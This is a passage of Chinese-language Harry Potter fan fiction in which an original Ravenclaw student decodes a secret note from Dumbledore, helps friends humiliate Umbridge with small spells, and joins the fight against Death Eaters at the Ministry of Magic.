莫非邓布利多是随机选择的一个陌生的学生。
难道……这张羊皮纸上写了有关于魔法部的机密,或者是什么重要的内容?
这样也不是说不通。
福吉和乌姆里奇必定更关注救世主男孩和他的朋友们,而把秘密交给一个谁都想不到的普通拉文克劳学生手里,他们大概很难发现,因为拉文克劳在霍格沃茨向来不引人注目……
看看这些年发生过什么就知道了:
一年级出现了蛇怪,致使数名学生被石化,而蛇怪正是来自斯莱特林的密室传说;二年级通缉犯小天狼星·布莱克在外游荡——好吧,克洛娜也不知道布莱克是哪个学院毕业的,总而言之肯定不是拉文克劳——而三年级,不幸遇难的三强争霸赛勇士塞德里克,他是赫奇帕奇学院的……
所以,把秘密藏在拉文克劳这里是最安全的……
因为他们是拉文克劳……
只要他们不是有意泄密,他们总有办法保证秘密永远不会被第二个人知道。
但是……
邓布利多抽选学生的方式未免有些太随机了!
克洛娜甚至很惊讶校长不仅认识她是谁,还是能叫出她的全名。
邓布利多真的不是猛地想起某个单上看见过随便哪个学生的名字吗?这样的话,也未尝不是一种瞒天过海的好办法。
这就像在战争来临之前,人们绞尽脑汁藏起家里的金银财宝。有人会走进森林里,胡乱挖个土坑,以人类进化历史中最常用的办法,把价值连城的珠宝埋在里面。
这个地方连他们自己都找不到,更不用说敌人了……
克洛娜想得太出神。
以至于她站在鹰状门环前好几分钟,甚至忘记自己有没有敲过门。
“克洛娜。克洛娜——”
一个熟悉的声音说。
卢娜出现在克洛娜的身后,叫了两遍克洛娜的名字。
她的手里抱着一本《占星术与梦境意象》的书,正在用朦胧的目光关切地看向克洛娜。
“嗯?”克洛娜说,“什么……”
卢娜问:“你没有答出答案吗?”
没有吗?
鹰状门环已经问过问题了?
“是吗?”克洛娜心不在焉地说。
“没关系,”卢娜说,“人人都有答不出来问题的时候,正是如此我们才能学到更多东西。”
卢娜上前一步,抬起手敲门。
代表拉文克劳的青铜鹰张开鸟喙,轻柔地问出问题:“什么有千钧重量,但没有形状?”
没有形状……
卢娜和克洛娜对视了一眼。
“语言。”
“生命。”
青铜鹰沉思了两秒,说道:“都有道理。”
门栓发出咔哒一声闷响,木门缓缓打开。卢娜走了进去。
语言。
等等……
克洛娜忽然驻足。
语言……
语言!
克洛娜抽出魔杖,指向手里那张褶皱得不成样子的羊皮纸,轻声念道:
“自动阅读。”
下一秒,邓布利多平和的声音出现在克洛娜的耳边。
“凤凰社指挥部的地址是格里莫广场12号。”
依然是每年开学宴会上都能听到的声音,但是却说了一句克洛娜无法理解的话。在声音消失后,羊皮纸倏地燃烧起来。
邓布利多只留下了一句话,而且只有克洛娜一个人能听得到。
似乎克洛娜的咒语就是开启羊皮纸自燃的钥匙,一旦克洛娜听完了羊皮纸上的内容,这张纸就会自动销毁。
金红色火苗逐渐将空白的纸张啃食干净,迅速烧到克洛娜的指尖。
克洛娜触碰到了火焰的温度,她发现,这种火焰并不烫人,而是温暖而舒适的——如同书中所写的凤凰之火。
卢娜站在通往公共休息室的楼梯上,转头看向克洛娜。
“你看起来像是被骚扰虻缠住了,需要帮忙吗,克洛娜?”
克洛娜回过神,缓缓摇头,“不用了,谢谢你,卢娜。”
她收起魔杖,快步走进公共休息室中。
阅读咒。
克洛娜不久前才想出这个咒语。她只告诉过卢娜和同宿舍的另外两个女生。
她能确定,自己的那两位优等生室友绝对不会把咒语告诉第五个人,她们巴不得自己学习的方法不被别人知道,这样她们就能偷偷多学点知识,期末的时候以成绩单上的好几个“O(优秀)”在学院中名列前茅。
那么,是卢娜吗?
不,不可能。
因为平时能和卢娜说上话的恐怕只有克洛娜了——
“自动阅读”只是个很小的咒语,和录音机没有什么区别,最大的作用就是,施咒的人在听书的时候不会打扰到其他人,也不会被打扰。
这样的小咒语自然不会引起广泛关注,每个巫师都能在不经意间用出一些历史中从未出现的魔法,而发明咒语的人不过是从中找到了规律而已。
邓布利多教授是怎么知道克洛娜发明的读书小咒语的?
第二天,乌姆里奇的禁闭结束,克洛娜把这件事告诉了哈利、赫敏和罗恩。
“那是什么咒语?”
赫敏对此十分感兴趣。
“可以说是一种魔法版的耳机,还有百分百防止噪音的功能。如果你想学,我可以教给你。”
“谢谢!那就太好了!”
赫敏看起来非常兴奋,她的声音都不由自主地提高了一点,“这个咒语简直太实用了,公共休息室总是很吵,根本没有安静的学习环境!”
最后一丝夕阳的余晖已经从地平线消失许久了。
他们被罚在乌姆里奇办公室抄写所有《教育令》的内容,每一条教育令抄写一百遍。克洛娜和赫敏的写字速度比另外两个男孩快得多,她们很快就抄完了,乌姆里奇没有放过她们,而是又给她们加了五十遍,直到四个人在那间弥漫着诡异的浓香、所有地方都塞满了路易十五式装饰品的办公室里坐满三小时,乌姆里奇才宣布禁闭结束。
四个人快步过黑魔法防御术教室外的楼梯,打开城堡平桥的木门。
还有几天就是复活节假期了,克洛娜感觉乌姆里奇就是存心在假期前给他们心里添堵,所以揪住一点莫须有的罪名,使劲往他们脑袋上扣。
“我们等会儿再谈这件事,赫敏。”哈利说,“首先要搞清楚的是,为什么是克洛娜?”
“我也不知道答案。”克洛娜说。
邓布利多留给她的问题,比鹰状门环的问题还难回答。
“邓布利多在邀请你加入凤凰社?”哈利问。
“不可能,”赫敏摇头道,“克洛娜距离成年还有好几年。邓布利多也把地址给了我们。”
“对啊,”罗恩说,“他们甚至不让哈利
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加入凤凰社。”
春季的暖风夹杂着湿润的气息,走过星空下的平桥,身后的长袍随风鼓起,假期后,即将迎来学期中最繁忙的后半部分。
“这个凤凰社,”克洛娜开口说,“……是什么?”
“凤凰社是一个邓布利多建立的反抗神秘人的秘密组织。”赫敏解释道,“格里莫广场是凤凰社现在的总部。”
“他用了赤胆忠心咒,对吧?”克洛娜问,“我发现我不能把地址告诉卢娜,但是却能对你们说。因为你们已经知道秘密了?”
哈利点了点头。
“所以到底为什么是我。”
克洛娜已经数不清自己是第几次提出这个问题了。
“我们也相当纳闷。”赫敏说,“现在最好的办法就是找个凤凰社的成员问一下,但是乌姆里奇监听了整个校区的壁炉,猫头鹰也会被拦截。”
“也许……你的家人曾经是邓布利多的人呢。”罗恩说。
“我从小在麻瓜世界长大。”
罗恩抓了抓他的红发。
“他们有可能拜托邓布利多保护你什么的……所以邓布利多才在离开之前把地址给你了。我的意思是,那可是邓布利多。”
“但是穆迪给我的那张凤凰社照片里面没有人姓巴沙特,克洛娜的母亲和姨妈都是麻瓜。”哈利说。
“你姨妈也知道魔法世界的事情啊——”
罗恩对哈利说,接着,他又把目光转向克洛娜。
“说不准,你的家人是在哪里看到了神秘人回来的消息,彩色电盒子什么的——然后让邓布利多把你放在格里莫广场。”
克洛娜说:“我姨妈一直认为霍格沃茨是戏剧学院。”
“哦……”
罗恩露出冥思苦想的表情。
“我觉得邓布利多肯定有他自己的打算。”赫敏说。
她深吸了一口气,走上前两步。
“不管如何,现在对于五年级的学生来说最重要的是O.W.Ls,我们必须好好通过考试。请务必教我自动阅读咒,克洛娜,拜托了。”
罗恩张大嘴巴。
“你肯定能通过考试的,赫敏。”
“是的,罗恩,但是仅仅是通过和好好通过的区别可太大了。”赫敏说,“如果你期末需要复习的话,欢迎来找我,四年级的课程我还是比较熟悉的。”
“这个咒语并不难,只需要简单挥动魔杖,念出咒语就行了……”克洛娜说。
她发现赫敏、哈利和罗恩都看向她,并且专注地倾听。
“咒语是‘自动阅读’,Autegere-librum。”
克洛娜说,并且解释道:
“由‘autonomíā’和‘legere librum''相结合,注意‘libre’是要变成宾格的,因为我们要阅读的是书,将魔法注入动词部分,宾语可以替换,从理论上讲,阅读任何带有文字的东西都可以。”
克洛娜用指尖充当魔杖,在空气中划出魔杖的挥动轨迹。
为了避免被路过的斯莱特林以袭击霍格沃茨地砖为理由打小报告给乌姆里奇,她没有用魔杖。
夜风拂过她的指尖,像是魔法在魔杖尖轻轻浮动一般。
“接下来向下挥动魔杖,遵循戈沙克的咒语与现实位面转化法术理论,以及伊尔明斯特提出的魔力贮存系统概念,将输入的咒语导出到魔杖尖——”
“她们在说什么啊……”罗恩说。
哈利飞快地与自己的好朋友对视一眼。
“我一点都不知道。”
9. 第 9 章
六月的阳光变得干燥热烈,将大地上的一切都包裹在明亮的金色中。
学年临近末尾,格兰芬多拿到了魁地奇奖杯。
金妮和迈克尔·科纳终于彻底分手了。
霍格沃茨北校区到禁林地带变得郁郁葱葱,桦树的叶子在这段时间疯长,几乎淹没了四季常青的赤松和冷杉。
期末周让校园里变得十分冷清,走廊里充斥着一种空旷而窒息的氛围。
学生们本学期的所有课程内容几乎都结束了,时间非常紧迫。
赫奇帕奇会选择在教室里复习,因为这样可以随时寻求老师和同学的帮助。斯莱特林要么就是执意只靠自己完成所有论文,要么就是威逼利诱别人帮他们写一份完美到看不出破绽的论文。格兰芬多被考前冲刺搞得头晕眼花,金妮和几个同年级的格兰芬多组成了学习小组,每天都会陷入打架般的激烈争吵。而拉文克劳,只能在图书馆找到他们的身影。
每个科目的考试内容都是不同的。
弗立维教授每年都要求他们交一份魔咒理论的论文,还要考咒语实践和笔试,算数占卜全都是试卷考试,而麻瓜研究要求四人一组做演讲,还不能选择别人选过的麻瓜近代史内容。
需要考O.W.Ls的五年级学生没有论文要写,而考N.E.W.Ts的七年级学生每天都在写论文。
考试周倒数第二天,四年级学生刚完成变形术笔试的夜晚。克洛娜正在复习最后一门魔药考试。
忽然间,外面传来震耳欲聋的巨响。
什么东西能传到高塔的拉文克劳休息室?
其他学生也都察觉到了,他们往公共休息室的玻璃窗旁凑过去。
“魔法部的人——”
“是海格!”
“他们要对他做什么!”
“麦格教授!——”
所有学生都发出了惊呼。
海格遭受了攻击,乌姆里奇带着一群魔法部的人对他举起魔杖,麦格教授快步跑过去,尽力阻止他们,自己却被魔法部发射出来的昏迷咒击中。
“海格可能也要被解雇了,”克洛娜叹了一口气,“乌姆里奇已经解雇了占卜课教授。”
“今年真是很糟糕的一年。”
卢娜说。
她靠在窗边,垂下眼睑,看向海格小屋的方向。今天她的头发里辫了许多中国咬人甘蓝的碎叶,月光将她的皮肤衬得像是乳白色的幽灵。
“乌姆里奇明年肯定不会在这里了。”
“邓布利多会回来的。”卢娜说。
“魔法部做到这种程度,有的时候真的让我觉得不如投靠伏地魔算了。”
卢娜的目光向克洛娜移动过来。
“可惜用一种极端的方法无法解决另一个极端的问题。”她平静地说,“我妈妈说过,任何问题总能找到更好的解决办法。”
第二天下午五点,最后一门魔药考试终于结束了。他们从地窖推门出来时,感到前所未有的轻松,终于有几个月的时间不用面对斯内普教授的冷脸了,每个学生都很幸福。
“麦格教授怎么样了?”卢娜问金妮。
“被送去圣芒戈了,”金妮说,“真应该给乌姆里奇那个老□□用个变形咒,让她永远只能在烂泥坑里吃苍蝇!”
克洛娜说:“我没看到她抽出魔杖,乌姆里奇的人直接攻击了她。”
卢娜点了点头。
“是的,我们亲眼所见。”她说。
“麦格教授应该以执法不当起诉他们,”克洛娜说,“拉文克劳公共休息室的所有学生都能作证。”
“麦格教授还在圣芒戈躺着呢,”金妮说,她的语气愤怒起来,“那可是四个昏迷咒!攻击一个没有抽出魔杖的人,乌姆里奇怎么不自己中几个昏迷咒尝尝滋味!”
她们登上台阶,二层走廊中的学生没有那么多了,画框里的两个人正在针对吸血鬼问题争论不休,拱门下方的盔甲哼着百年前的某支歌,楼下的声音隐隐传来,脚步和喧闹声像是被遗留在很远之外。
一个空教室内传来争吵声。
声音很熟悉。
哈利,罗恩和赫敏。
金妮和克洛娜交换了一下目光。
罗恩情绪激动地吼了一句什么,隔着门板无法听清,接着,哈利的声音愤怒地咆哮起来,赫敏用最快的语速焦急地和哈利争论,但是哈利并不打算听她的。
“听起来很狂躁,”卢娜幽幽道,“但愿他们不是因为考试而吵起来的。”
“可能是哈利想对乌姆里奇用昏迷咒。”克洛娜说,“但被赫敏拦住了。”
金妮来了兴趣。
“对乌姆里奇用五个昏迷咒?”金妮说。
“但是需要隐匿行踪,”卢娜说。“隐形兽的皮毛总会让人打喷嚏。”
克洛娜说:“乌姆里奇身上的香水就足够让人打喷嚏了。”
“她闻起来像是晕扫帚。”
“是的。”
卢娜和克洛娜说话的时候,金妮已经向前走了几步。
“走,”金妮果断道,“我们进去看看。”
……
被伏地魔劫持的人是小天狼星·布莱克,哈利需要用乌姆里奇办公室的壁炉和他的教父谈谈。
罗恩负责引开乌姆里奇,金妮则站在走廊里到处散布假消息,告诉所有路过的学生走廊里有毒气,不让她们靠近。不过说实在的,她的办法只能驱赶走学生,为哈利争取时间,这消息迟早要传到乌姆里奇耳朵里,她很快就会意识到这些意外之间都有必然联系。
然后他们就会又多一个罪名。
不过也有可能,这就是金妮的目的——帮助哈利与他的教父谈话,以及给自己创造无罪证明。
这样她就能趁着乌姆里奇忙着研究走廊里到底有没有锁喉毒气的时候,出其不意给乌姆里奇施一两个恶咒。事后再宣称是乌姆里奇自己踏入了锁喉毒气范围内,中了毒气,而她只是好心提醒了校长,其余的她什么都不知道。
一箭双雕。
“你站在走廊中央,克洛娜,假装自己是偶然路过的,”金妮安排道,“等乌姆里奇一会儿回来了,就给她来个锁腿咒。”
克洛娜十分震惊。
“我?金妮——我……”
“只有你会用无杖魔法,克洛娜。”
“等等——”
就算她能用无杖魔法,但乌姆里奇也不会傻到分不出来自己有没有中咒啊。
“乌姆里奇是个经过魔法部训练的成年巫师,金妮,你也知道我的黑魔法防御术水平……”克洛娜说。
金妮飞快地说:“那就在她的鞋跟上用个四分五裂,范围控制得小一点。”
克洛娜有的时候真的很佩服金妮的临场应变能力。
“让她觉得鞋跟是自己断的?”
“你知道的——”金妮对她眨了一下眼睛。
克洛娜同意了。
“好的。”她说。
乌姆里奇果然步履匆匆、气势汹汹地走过走廊,后面还跟了一大群斯莱特林。任凭金妮和罗恩怎么劝解她不要靠近这条走廊,她都置之不理。
乌姆里奇的眼睛睁得大大的,里面满是对即将抓获一桩罪行的诡异兴奋,这让她显得更加面目狰狞,如同在地狱里最贪婪的暴食劣魔面前摆放一桌饕餮巨宴。
克洛娜努力不把视线放在乌姆里奇的身上。
她装作不经意地从走廊前方路过,紧张到手心出汗。
金妮的视线看向她。
克洛娜微微抬了抬手指,咒语在她的舌尖滚动。当她用气音将其念出的时候,只剩下了口型的
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微妙变化。
她的目标是乌姆里奇粉色高跟鞋。
不能撕裂得太整齐,不然会被发现。
魔法撬动了一小块木头,乌姆里奇踏出最后一步,她的体重倾轧在高跟鞋上,成为压倒骆驼的最后一根稻草——
下一秒,咔的一声,鞋跟应声而断。
乌姆里奇沉重的身躯向前扑倒,克洛娜看到金妮以最快的速度抽出魔杖,在乌姆里奇跌倒的瞬间,对着她的后背丢了两个咒语。一个是力松劲泄,另一个是喉咙肿胀咒。前者让乌姆里奇在摔倒的时候膝盖用不上力气,以至于狠狠和地面来了个亲密接触,后者则可以模仿锁喉毒气的效果。
卢娜忽然开始唱歌:
“韦斯莱是我们的王!”
她的声音似乎被放大了好几倍,在走廊里回荡着。
“韦斯莱是我们的王!”
趁着歌声,克洛娜后退一步,给乌姆里奇补了一个结舌咒,她施咒的声音完全被卢娜的歌声淹没。
这样效果更逼真一点。
“你,咳——嗬,们——知,知,道——自己——在,在做什神,么,什——吗!”
乌姆里奇咆哮道。
一些之前听了金妮的话,绕开这条走廊的学生们注意到骚动,折返回来,探头探脑,逐渐将走廊围绕住。
他们惊喜地发现乌姆里奇狼狈不堪。
有几个高年级的格兰芬多并不畏惧被关禁闭,甚至发出了笑声。
乌姆里奇手忙脚乱地爬了起来,她精心梳理好的头发变得异常凌乱,说话断断续续,每吐出一个单词都要被呛咳得窒息一次。
被学生围观这件事让她更加愤怒。
“让——让开,你!”她发疯般地瞪着一个学生,恶狠狠地说,“不,不允——咳——许!”
学生们根本不听她的话。
“唉,这条走廊有锁喉毒气……”金妮板着脸说,“教授,我们试图减轻毒气对你的伤害!你怎么就是不信呢。”
乌姆里奇憋得脸颊通红,她的谩骂变得更加愤怒,但却无法说出一句完整的话。
“四,四年——年纪的,嗬——咳——的讨厌学,学生——恶,劣的,小——畜生——”
天哪,她的喉咙肯定已经肿胀到两倍了。
“我是——魔法,部,部——亲任,高级——副部长!嗬——你们——怎么——敢!”
走廊上的学生越来越多。
“教授,恐怕只有这一种办法了!我这就帮你解毒——”金妮对乌姆里奇举起魔杖。
乌姆里奇以她最快的速度,一把拔出魔杖。她的头发变得更乱了,贴在她宽而长满横肉的额头上,像是刚刚经历了一番恶斗。
“钻——嗬,心——”
“不——!”罗恩叫道。
他和卢娜在同一时间抽出魔杖。
人群里的忽然冲出了一个高年级的黑发男孩,他面色苍白,用力握住魔杖,就像举着一把剑。
克洛娜认识这个学生,他也是D.A.的成员之一,纳威·隆巴顿。
“剜——”
乌姆里奇努力喘气,嘴巴发出蟾蜍陷进沼泽般的声音,念出的咒语也卡在了喉咙里。
“清水如泉!”
金妮大吼。
一阵急促的水流直冲乌姆里奇的脸。
她那头蓬乱的头发终于被淋得塌了下去,像是一坨不成型的泥巴一样黏住她的头顶。
学生们开始窃窃私语。
想必乌姆里奇现在终于切身体会了一把特里劳妮教授的处境。
是的,霍格沃茨的学生们就是这么恶劣。
“抓!抓——”
乌姆里奇爆发出歇斯底里的尖叫。
“——住!他——他——们!每,每一,个!”
10. 第 10 章
最后,帮助哈利这件事升级为一场前所未有的巫师版校园械斗。
克洛娜从来没有打过这样的架。
场面和黑魔法防御术教室中、甚至D.A.的有求必应屋的咒语练习训练都大不相同。
由于乌姆里奇夺走了他们的魔杖,克洛娜喊出“魔杖飞来”的那一刻,斯莱特林就已经开始动手了,金妮跑过去抢自己的魔杖,罗恩赤手空拳地反击抓住他的大块头斯莱特林。几道魔咒向他们击来,克洛娜忙着抵挡,连连后退。
卢娜端起乌姆里奇的假花甩出去,一个可怕的影子冲到克洛娜面前,被克洛娜用铁甲咒挡开了。
然后她发现纳威也在她的身边,手中空空,和她一起后退。
整个办公室仿佛被洪水洗掠,乌姆里奇的咖啡杯碎得到处都是。
“把我们的魔杖还回来!”金妮厉声说。
“不然你要怎么样,韦斯莱,”马尔福嘲讽道,“一边写日记一边哭吗?”
哦不。
惹恼金妮是非常可怕的。
她的红发像是燃烧了起来,一大群蝙蝠从马尔福的鼻孔里飞出,叽叽尖叫着扑向马尔福的脸,马尔福吓得乱跑,他拼命想去抓那些蝙蝠,但蝙蝠仍然不停蹿向他和他身边两个长得格外强壮的斯莱特林。
克洛娜让掉落在地的魔杖各自飞向朋友的手中。
罗恩接住了哈利和赫敏的魔杖。
“要知道你们私自逃走是违反校规的!”一个斯莱特林的女生叫道。
“是吗?”卢娜问,“但是,只要不被发现就行。”
那个斯莱特林女生还要开口说话,卢娜的石化咒就击中了她。
“快走!”罗恩催促道,“我们得去找哈利和赫敏!”
……
他们穿过黄昏中的禁林,本以为还要应付发狂的乌姆里奇,但没想到哈利和赫敏身边空无一人,就连乌姆里奇的影子都没看到。
卢娜提议骑着夜骐去魔法部营救小天狼星·布莱克。克洛娜感觉事情越来越往失控发展了。
这就像前往魔多拯救被索隆囚禁的改邪归正的萨茹曼一样诡异。
几年前,布莱克是人人听了都要啐上一口的通缉犯,而后,布莱克又变成了哈利的教父,接着克洛娜听说这个家伙可能是自己未曾谋面的父亲,并且是她捡到的一条流浪狗变的。最后布莱克亲自给她写了一张字条,表示自己不是她的父亲。现在,一群霍格沃茨四五年级的学生,要为了救布莱克擅闯魔法部禁地。
魔法世界总有一些奇怪的事情。
可是,说实话……
克洛娜不是很想去。
她不在意违反一点校规校级,但是她还不想被魔法部拘留,并且在魔法世界留下案底。
布莱克和她非亲非故,还带走了她的狗。
克洛娜犹豫了一下,开口说道:
“你们或许需要一个人通风报信。就是……警惕乌姆里奇会不会突然回来,以及费尔奇……”
“谢谢!”哈利恼火地说,“终于有人说了!金妮,纳威,卢娜,你们都应该留下来,帮克洛娜应付乌姆里奇和斯莱特林。救小天狼星是我的事情——”
“阻止神秘人是我们大家的事。”卢娜说。
“克洛娜留下就足以应付所有人了,我相信她,我要跟你一起去!”金妮坚定地说。
所有人——她是认真的吗?她已经被列入违反校规袭击现任校长的名单里了,费尔奇和斯莱特林不会放过她的,她可以偷偷对费尔奇用个石化咒,但她怎么可能独自对抗倒向乌姆里奇的斯莱特林高年级学生们。
“我也是——”纳威说。
他的声音听起来很小,但却丝毫没有退缩。
“如果你们遇到危险怎么办!”哈利大声说。
“哈利,”金妮说,“难道我们是因为害怕遇到危险才加入D.A.的吗。”
“行吧!”哈利暴躁地向夜骐走去。
他的朋友们都跟在他的身后。赫敏,罗恩,金妮,卢娜和纳威,夜骐正在等着他们。克洛娜微微抬起头,看向这些幽灵般的生物,它们无比美丽,如同死神的坐骑,正温顺地、安静地等着人靠近它们。即将入夜,光线变得微弱,森林的边缘开始模糊不清,草丛中多了很多带有魔法的小昆虫,它们幽幽地飞着,生物光照亮高耸的红松以及茂密的草壤。
克洛娜已经很久都没有在这么晚的时候进入过禁林了。
她的记忆中浮现出一条黑色大狗,藏在这片密林中,骨瘦如柴,爪子淌着血,会高兴地吐舌头,在草丛里狂奔,因为一块美味的牛排,在克洛娜面前蹦来蹦去。
哈利爬上夜骐的后背。
夜骐舒展漆黑的、龙翼般的翅膀,准备起飞。
“克洛娜,”哈利喊她的名字,“这件事情本不应该连累到你的,谢谢你,为了伤风。”
“没关系。”克洛娜说。
她转身,看向霍格沃茨城堡的方向。
听说布莱克以前也在霍格沃茨上学,最后一次她遇见伤风的时候,伤风就站在禁林的边缘,望向阳光下的城堡。克洛娜试图喊它,但是它却愣住了,就像生命从时间的缝隙里溜走——你永远都回不去一个不再属于你的过去。
夜骐拍打翅膀的声音卷起呼呼的暖风,吹拂过附近的草地,去年秋季的落叶以及小树枝随风四散逃逸。夕阳变成一种熟透的橘子般的颜色。
克洛娜能看见这些象征死亡的生物,因为她的母亲。
她的人生好似停留在了母亲被送进急救室的那一刹那,而后就是无可救药的寂静和孤独。而她从来都没有来得及和母亲说一声再见。
等等。
克洛娜的脑海中忽然闪过一个念头,她用力攫住这个想法。
如果——布莱克就是伏地魔的圈套呢?
哈利没能通过壁炉找到他的教父,很有可能,布莱克已经变成了伏地魔的人质。他们让哈利最在乎的人痛苦,就是为了将哈利引出霍格沃茨,因为霍格沃茨有古代魔法的保护咒,他们无法从外部入侵霍格沃茨。
如果这真的是个陷阱,而哈利真的遇见了危险……
或许她应该把这件事告诉他们的院长弗立维教授,但是她要怎么说?弗立维教授,哈利·波特和他的朋友们要去营救恶贯满盈的通缉犯了,请务必要帮助他,别相信魔法部,因为伏地魔真的复活了。
弗立维教授会给她用一个安神咒然后建议她去睡觉。
没有人能帮他们。
在邓布利多失踪的情况下,谁来抵抗伏地魔?
一群四五年级的学生?
如果被夺走魔杖,他们就只有死路一条。
目前只有克洛娜会用一些无杖魔法。尽管只能施展简单的咒语,但却可以很有效地避免武器离手。
而邓布利多……为什么要在离校之前,特地给克洛娜留一张写有凤凰社指挥部地址的字条呢?这个地址,邓布利多不会透露给除了凤凰社之外的人……
为什么?
……邓布利多的反抗组织是凤凰社。
而他们是D.A.——是邓布利多军。
克洛娜的脚步停下了,禁林里的小石子硌着她的鞋底,腐烂的碎叶发出微小而软腻的声响,新生长的青草围绕在四周。
为了伤风……
哈利的声音如同自动阅读咒一样在她的脑子里循环。
伤风……
那条陪伴她一年的大黑狗……
见鬼。
克洛娜想。
狗屎。
克洛娜猛地回过头,在哈利和众人惊讶的目光下,拔腿奔向没有人骑的那匹夜骐。
夜骐张开翅膀,像个老朋友一样温和地欢迎她的到来。
“我和你们一起去!”
她吼道。
……
他们抵达魔法部时已经是深夜。整栋建筑中空无一人,寂静得诡异,大部分灯光都熄灭了,这栋建筑位于英国财政部大楼的下方,从魔法电梯下往神秘事务司的过程宛如进入地狱。火光簌簌摇摆着,哈利紧紧盯着电梯门,其他人的脸上都紧张得发白。
神秘事务司内部像是一个黑色的巨钟,十二扇门每个似乎都代表一个时刻,但是门却长得一模一样。他们快步通过一个又一个的房间,最后在放满语言球的货架间撞上了十几名食死徒。
该死的。
真是该死。
这就是个陷阱!
他们一脚踩进了陷阱里。
根本没有
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什么被抓走的小天狼星·布莱克,只有守株待兔的食死徒和一个伏地魔很想得到的预言球——鬼知道他到底要预言球做什么,可能他痴迷占卜课吧——
“快逃!”
哈利对他们大喊。
数道魔咒向他们发射过来,猛烈地打在放着预言球的架子上。
那些巨大的架子咯吱晃动,接着缓缓向地面倾倒,被击碎的预言球如同一阵银针做的雨般猛拍向地面。
“昏昏倒地!”
哈利用昏迷咒给他们争取了时间。
他们在迷宫般的架子间飞奔,向后方胡乱丢着魔咒,期望没瞄准的咒语能随机击中一个食死徒。
房间内漆黑一片,只有咒语的光芒闪烁,红光如同闪电般袭向他们的后背。
克洛娜气喘吁吁地奔跑,她逐渐感觉自己的心脏快要跟不上呼吸了,双腿像是灌铅了一样不听使唤,金妮拉住她的手腕,她的视野里出现卢娜的一头金发,卢娜跑过一个拐角,罗恩在她的前方。
“我说了别攻击!你们会打碎预言球的——不,贝拉特里克斯!”
一道刺眼的白光如同钢刀般擦过罗恩的脚踝。
“盔甲护身!”
克洛娜听到赫敏的声音喊道。
而那个叫做贝拉特里克斯的女人尖叫道:
“分解崩离!”
纤细暗淡的墨绿色魔咒以极大的威力射向赫敏旁边的架子,更多预言球倾塌而下,噼里啪啦地砸向地面。
他们一边逃跑一边闪身躲进来时的门中。
食死徒穷追不舍,黑色的大门忽而旋转起来。
克洛娜的身边是罗恩、金妮和卢娜。
哈利不见了。
“哈利!”罗恩对着关闭的黑色大门惊恐地喊,“赫敏!——纳威?”
房间另一端完全相同的黑色大门打开,传来一个女人的狂笑。
“看看这里是谁——”
名叫贝拉特里克斯的食死徒得意地说,她的魔杖杖尖指着克洛娜,身边还跟着一个白发的食死徒。
“落单的小鸟,真是可怜——钻心剜骨!”
贝拉特里克斯忽然瞪圆眼睛,凶狠地喊出咒语。
别想——
直接行动——
你的身体知道应该怎么做!
“除你武器!”克洛娜大喊。
贝拉特里克斯的魔杖被击偏了几寸,咒语没有落在克洛娜的身上。
她成功了!
克洛娜感到身体里的血液逐渐沸腾,她砰砰作响的心跳将滚热的兴奋感送向她的额头,她感到一阵奇妙的眩晕,将恐惧感抹除得一干二净。
现在她浑身发抖,握住魔杖的手却平稳无比。
贝拉特里克斯的嘴角扭曲起来,她嘶声吐出一个单词。
“你——”
克洛娜看到她脸上兴奋而疯狂的表情消失,取而代之的是一种令人汗毛倒竖的怒火,她凶狠地盯着克洛娜,魔杖重新指向她。
不好。
克洛娜想。
“阿瓦达索命!”
明亮的绿色光线击中克洛娜之前的一瞬间,她感到脚底的地面摇荡震动,接着一阵雷击般的剧痛传导向四肢百骸,克洛娜狼狈地转过头。
她还没死。
金妮的魔杖正冲着她,棕色的眼睛里满是恐惧。
贝拉特里克斯的索命咒打空了,击在了墙上。而金妮刚刚用雷鸣波将克洛娜震开,救了她一命。
“谢谢。”克洛娜说。
被闪电击中之后的灼痛感啃噬着她的脊椎。
金妮向前跑了几步,把克洛娜拉了起来。
哈利不在这里,预言球也不在他们手中,他们都成了待宰的绵羊。
不能和食死徒缠斗。他们不是这些黑巫师的对手,更何况黑发的这个看起来彻底疯了,精神病杀人不负刑事责任——
卢娜拉开了门。
“我们走!”罗恩扶了一把克洛娜,“跑,跑起来——”
克洛娜和两个韦斯莱跌跌撞撞地摔进前方的房间,背后的门狠狠闭合,将贝拉特里克斯关在后方。
卢娜惊喜地叫道:“是哈利!”
她刚说完这句话,前方就传来一阵爆响。
11. 第 11 章
哈利从房间另一侧的尽头跑过来,真奇怪,他们刚才明明是从同一个方向出发的。
这个房间呈现某种不规则形状,明亮得好似白昼。
房间到处都摆放着时钟。大的,小的,现代车站中报时用的塑料表盘,缠着金色栅栏的落地钟,木头雕刻的挂钟,还有被塞在角落里的各种摆钟……
一个透明钟罩伫立在房间的正中央,里面困着一只体型极小的鸟类。
鸟破壳而出,奋力挣脱蛋壳,振翅飞向空中,当它飞向玻璃罩上方时,翅膀开始脱落,细小的、精致的羽毛飘飞而下,在到达顶点时,一瞬间,它的身体失去生命,如同断线木偶般疾速下坠,掉落在玻璃罩底部,色彩靓丽的羽毛腐烂了,身体变成枯骨,蜷缩成一团,重新凝聚成鸟蛋。不到一秒后,蛋壳裂开……
鸟破壳而出,奋力挣脱蛋壳,振翅……
它的翅膀尖划出8字形的轨迹。
是一个循环,也是无限。
克洛娜和哈利他们在进入预言厅之前也经过了这个房间,现在,他们又回到这里来了。这意味着距离神秘事务司大厅不远了,他们很快就能逃出这里。
房间两侧的门都关闭起来。
哈利的身后跟着三名食死徒,赫敏昏迷不醒,被纳威背在身后,纳威则鼻青脸肿,鼻子下方还有两道长长的血迹,鲜血蹭到了他的衣领上,不知道他们刚才经历了怎样的一番恶战。
“罗恩!”哈利喊道。
那三名食死徒同时向他们发动攻击。
看来这房间就是决斗场了。
昏迷咒中夹杂着几道凶戾的黑魔法,地面砰地一声爆炸了,如同一颗突如其来的榴弹。咒语的火光点燃了黑暗,克洛娜的耳朵嗡嗡作响,她甚至无法听到自己喊出咒语的声音,现在哈利身边有六个人,对面只有三人。
有胜算。
克洛娜站稳,挥动魔杖。
“水火不侵,盔甲护身——!”
连续两层防护咒语从她的杖尖展开,笼罩克洛娜和她身边的人,接着,她的魔杖调转方向,指向食死徒那一侧脚下的地面。
“清水如泉!”克洛娜念出咒语,“增强——!”
洪水般的水流凝聚起来,凭空形成将近一人高的浪潮,向食死徒猛击而去。
“嘿,我知道这个!”金妮喊道。
但下一秒,克洛娜对着地面的水念出了另一个咒语。
“闪电束!”
滋——!!!
闪电击向水面,一瞬间,电流往房间的每个角落迅速扩张,桌椅都被劈成碎片,玻璃罩掉在地上,咔地一声摔碎了。
被困的鸟飞了出来,化作一缕银白色的、丝绸般轻盈的细沙,在无风的时间厅内摇摆着消散。
